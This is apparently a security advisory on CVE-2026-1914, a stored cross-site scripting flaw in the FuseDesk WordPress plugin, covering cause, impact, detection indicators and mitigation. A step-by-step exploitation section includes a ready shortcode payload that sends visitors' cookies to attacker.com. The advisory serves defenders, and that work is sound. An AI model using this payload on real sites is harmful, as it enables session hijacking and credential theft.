CVE-2026-1914: 
WordPress vulnerability analysis and mitigation

CVE-2026-1914 is a Stored Cross-Site Scripting (XSS) vulnerability in the FuseDesk plugin for WordPress, affecting all versions up to and including 6.8. The flaw exists in the fusedesk_newcase shortcode due to insufficient input sanitization and output escaping on the emailtext attribute, allowing authenticated attackers with Contributor-level access or above to inject arbitrary web scripts. It was published on March 21, 2026, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The vulnerable code resides in fusedesk.php at line 561, where the emailtext attribute of the fusedesk_newcase shortcode is rendered without proper sanitization or escaping. An authenticated attacker with at least Contributor-level WordPress access can embed a malicious shortcode containing a crafted emailtext value into a post or page; when any user visits that page, the injected script executes in their browser context (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who visit the compromised page, potentially leading to session cookie theft, credential harvesting, defacement, or redirection to malicious sites. Because the scope is changed (S:C in CVSS), the injected script can affect users beyond the attacker's own session, including administrators. Availability is not directly impacted, but confidentiality and integrity of user sessions and site content are at risk (Red Hat CVE, Wordfence).

No public exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a Contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the FuseDesk plugin version ≤ 6.8 using tools like WPScan or by inspecting plugin directories.
2. Obtain Contributor access: Register or compromise a WordPress account with at least Contributor-level privileges on the target site.
3. Craft malicious shortcode: Create a new post or page and insert the fusedesk_newcase shortcode with a malicious emailtext attribute, e.g., [fusedesk_newcase emailtext="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish or save the content: Submit the post/page (even as a draft that gets previewed, or publish it if permissions allow).
5. Trigger execution: When any authenticated or unauthenticated user visits the page containing the injected shortcode, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing fusedesk_newcase shortcode with suspicious emailtext values including <script>, javascript:, or encoded variants.
• File System: Unexpected modifications to posts or pages in the WordPress database (wp_posts table) containing fusedesk_newcase shortcodes with obfuscated or encoded script payloads.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the FuseDesk shortcode (indicative of data exfiltration via injected scripts).
• Process/Application: Browser developer console errors or unexpected redirects reported by site visitors when accessing pages with the fusedesk_newcase shortcode.

Site administrators should update the FuseDesk plugin to a version beyond 6.8 once a patched release is available from the plugin vendor. In the interim, restrict Contributor-level user registration and content publishing capabilities, or temporarily disable the FuseDesk plugin entirely. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts (Wordfence, Red Hat CVE).